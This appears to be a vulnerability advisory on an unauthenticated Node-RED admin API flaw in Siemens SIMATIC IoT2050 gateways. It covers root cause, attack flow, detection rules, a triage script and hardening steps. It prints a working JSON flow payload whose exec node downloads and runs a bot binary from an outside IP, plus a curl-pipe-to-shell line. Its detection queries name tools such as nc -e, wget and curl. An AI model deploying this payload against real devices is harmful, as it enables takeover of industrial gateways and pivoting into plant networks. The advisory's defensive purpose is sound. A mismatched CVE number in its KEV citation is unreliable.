CVE-2026-58115: Siemens SIMATIC IoT2050 Advanced & Node-RED Unauthenticated Admin API Flow Injection RCE (VulnCheck Exploit Intelligence)
Critical maximum-severity industrial IoT vulnerability cataloged by VulnCheck Exploit Intelligence following active honeypot detection on October 30, 2026. Siemens SIMATIC IoT2050 Advanced gateways running Siemens Industrial OS ship with Node-RED pre-installed. In configurations prior to Industrial OS V4.3.4.1, the Node-RED administrative HTTP engine binds to TCP port 1880 with default authentication (adminAuth) disabled. Remote adversaries scanning IPv4 perimeters submit serialized JSON flow payloads containing native exec and inject nodes, achieving unauthenticated root-level command execution on the host operating system. Compromised edge gateways serve as initial staging platforms to deploy Linux botnet malware and pivot laterally into segregated operational technology (OT) networks controlling PLCs via Modbus TCP, Profinet, and Siemens S7 communication protocols.
HERMES THREAT SCORE & INDUSTRIAL OT EDGE COMPROMISE EVALUATION
Target:Siemens SIMATIC IoT2050 Advanced & Node-RED Admin HTTP API CVE-2026-58115: Siemens SIMATIC IoT2050 Advanced & Node-RED Unauthenticated Admin API Flow Injection RCE (VulnCheck Exploit Intelligence)VULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Siemens SIMATIC IoT2050 (Node-RED) documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Vulnerability Overview & Root Cause Analysis
Section titled โ1. Vulnerability Overview & Root Cause AnalysisโThe Siemens SIMATIC IoT2050 Advanced (6ES7647-0BA00-1YA2) is an industrial edge gateway designed to collect, pre-process, and transfer telemetry between physical plant assets and cloud data platforms. The device operates Siemens Industrial OS (a Debian-based Linux distribution tailored for industrial automation) and comes bundled with the Node-RED low-code execution runtime.
The root cause of CVE-2026-58115 lies in missing authentication for critical administrative functions (CWE-306). In default installations prior to Industrial OS V4.3.4.1:
- Node-REDโs core configuration file (
/etc/node-red/settings.jsor~/.node-red/settings.js) omits theadminAuthconfiguration object. - The Node-RED Express HTTP management server binds to all available network interfaces (
0.0.0.0:1880). - The administrative REST endpoints (
/flows,/nodes,/flow) accept unauthenticated HTTP requests, allowing any remote client to query, deploy, start, or delete arbitrary execution flows.
// settings.js - Vulnerable Default Configurationmodule.exports = { uiPort: process.env.PORT || 1880, uiHost: "0.0.0.0", // adminAuth is commented out or missing entirely: // adminAuth: { // type: "credentials", // users: [{ username: "admin", password: "...", permissions: "*" }] // }, functionGlobalContext: { // Unrestricted module injection }}Because Node-RED incorporates core nodes specifically engineered for system automationโmost notably the built-in node-red/exec nodeโunauthenticated access to the flow deployment API allows adversaries to execute arbitrary shell commands within the security context of the user running Node-RED (often root or node-red with passwordless sudo privileges on industrial distributions).
2. Technical Breakdown & Attack Vector Flow
Section titled โ2. Technical Breakdown & Attack Vector FlowโThe exploitation workflow observed by VulnCheck threat intelligence honeypots demonstrates complete automation from reconnaissance to payload execution:
sequenceDiagram autonumber participant Attacker as Adversary / Scanning Canary participant Gateway as Siemens SIMATIC IoT2050 (Port 1880) participant Engine as Node-RED Flow Runtime participant OS as Linux Industrial OS (Kernel) participant OT as Industrial Field Network (PLCs)
Attacker->>Gateway: GET /settings (Probe Node-RED instance & auth state) Gateway-->>Attacker: 200 OK (adminAuth: false / auth disabled) Attacker->>Gateway: POST /flows (JSON payload with inject + exec nodes) Note over Gateway,Engine: Node-RED commits and starts new flow topology Engine->>OS: /bin/sh -c "curl -s http://c2.host/ldr.sh | sh" OS-->>Engine: Command output & returncode OS->>Attacker: Outbound C2 beacon (Botnet registration) Attacker->>OS: Lateral pivot command OS->>OT: Modbus / S7comm scans toward internal PLCsSerialized Weaponized Flow Structure
Section titled โSerialized Weaponized Flow StructureโAdversaries post an HTTP POST request with Content-Type: application/json to http://<target-ip>:1880/flows. The JSON array contains a simple directed graph coupling a scheduled trigger node (inject) directly into a system command execution node (exec):
[ { "id": "exploit-tab", "type": "tab", "label": "System Diagnostic", "disabled": false, "info": "" }, { "id": "trigger-now", "type": "inject", "z": "exploit-tab", "name": "AutoExec", "props": [{ "p": "payload" }], "repeat": "", "crontab": "", "once": true, "onceDelay": 0.1, "topic": "", "payload": "", "payloadType": "date", "x": 120, "y": 100, "wires": [["exec-payload"]] }, { "id": "exec-payload", "type": "exec", "z": "exploit-tab", "command": "/bin/sh -c 'curl -fsSL http://194.38.20.14/bins/arm64 -o /tmp/.iot_bot && chmod +x /tmp/.iot_bot && /tmp/.iot_bot'", "addpay": "", "append": "", "useSpawn": "false", "timer": "", "winpty": false, "oldrc": false, "name": "ServiceSync", "x": 340, "y": 100, "wires": [[], [], []] }]Setting "once": true ensures that the moment Node-RED compiles the flow in memory, the inject node triggers immediately, spawning the exec process without requiring manual UI intervention.
3. Forensic Triage & Threat Telemetry
Section titled โ3. Forensic Triage & Threat Telemetryโtitle: Siemens SIMATIC IoT2050 Unauthenticated Node-RED Flow RCEid: 58115e8e-9021-4f3b-8219-c0de18805811status: experimentaldescription: Detects unauthenticated POST requests to Node-RED /flows deploying execution nodes or shell spawn events on industrial IoT systems.author: Hermes Codex Cyber Defense Teamdate: 2026-11-03references: - https://vulncheck.com/blog/exploitation-targeting-node-red - https://nvd.nist.gov/vuln/detail/CVE-2026-58115logsource: category: webserver product: node-reddetection: selection_endpoint: cs-method: 'POST' cs-uri-stem|endswith: - '/flows' - '/flow' selection_payload: c-body|contains: - '"type":"exec"' - '"type": "exec"' - 'command' filter_auth: cs-header-authorization|startswith: 'Bearer ' condition: selection_endpoint and selection_payload and not filter_authfields: - c-ip - cs-method - cs-uri-stem - c-bodyfalsepositives: - Legitimate local automation scripts deployed via loopback without tokens during staginglevel: criticaltags: - attack.initial_access - attack.t1190 - attack.execution - attack.t1059.004// Detect suspicious process spawning from Node-RED runtime on Linux edge gatewaysDeviceProcessEvents| where InitiatingProcessFileName in~ ("node", "node-red")| where FileName in~ ("sh", "bash", "curl", "wget", "nc", "python", "chmod")| where ProcessCommandLine has_any ("/tmp", "curl", "wget", "chmod +x", "nc -e", "/bin/sh")| project TimeGenerated, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, AccountName| order by TimeGenerated desc#!/usr/bin/env bash# Hermes Codex: SIMATIC IoT2050 Node-RED Forensic Triage Scriptecho "=== [1] Checking Node-RED Listening Sockets ==="ss -tulpn | grep -E ':(1880|1883)\b'
echo "=== [2] Inspecting Node-RED Authentication Settings ==="for settings in /etc/node-red/settings.js ~/.node-red/settings.js /home/*/.node-red/settings.js; do if [ -f "$settings" ]; then echo "Found: $settings" grep -n "adminAuth" "$settings" || echo "[-] WARNING: adminAuth missing or commented out!" fidone
echo "=== [3] Checking for Suspicious Binary Artifacts in /tmp ==="find /tmp /var/tmp /dev/shm -maxdepth 2 -type f -executable -exec ls -la {} +
echo "=== [4] Reviewing Active Flows for Suspicious Exec Nodes ==="for flow in ~/.node-red/flows*.json /etc/node-red/flows*.json; do if [ -f "$flow" ]; then grep -i -E '("type"\s*:\s*"exec"|"curl"|"wget"|"/bin/sh")' "$flow" && echo "[!] ALERT: Suspicious exec node located in $flow" fidone4. Remediation & Strategic Hardening
Section titled โ4. Remediation & Strategic Hardeningโ- Update Siemens Industrial OS to V4.3.4.1: Apply the official vendor firmware and software update for Siemens SIMATIC IoT2050 Advanced (
6ES7647-0BA00-1YA2) which enforces mandatory authentication on all bundled Node-RED services. - Enable and Configure
adminAuthinsettings.js: Ensure theadminAuthconfiguration is activated with strong password hashes generated vianode-red-admin hash-pw:adminAuth: {type: "credentials",users: [{username: "sec-admin",password: "$2b$08$zE7G...[bcrypt_hash]...",permissions: "*"}]} - Bind Node-RED to Localhost: Prevent external network exposure by explicitly configuring
uiHost: "127.0.0.1"insettings.jsunless accessed through a hardened reverse proxy enforcing mTLS. - Isolate Industrial IoT Gateways: Enforce strict firewall rules blocking ingress traffic on TCP port
1880from untrusted networks, and isolate SIMATIC gateways in a dedicated DMZ segregated from both corporate LAN and PLC field networks.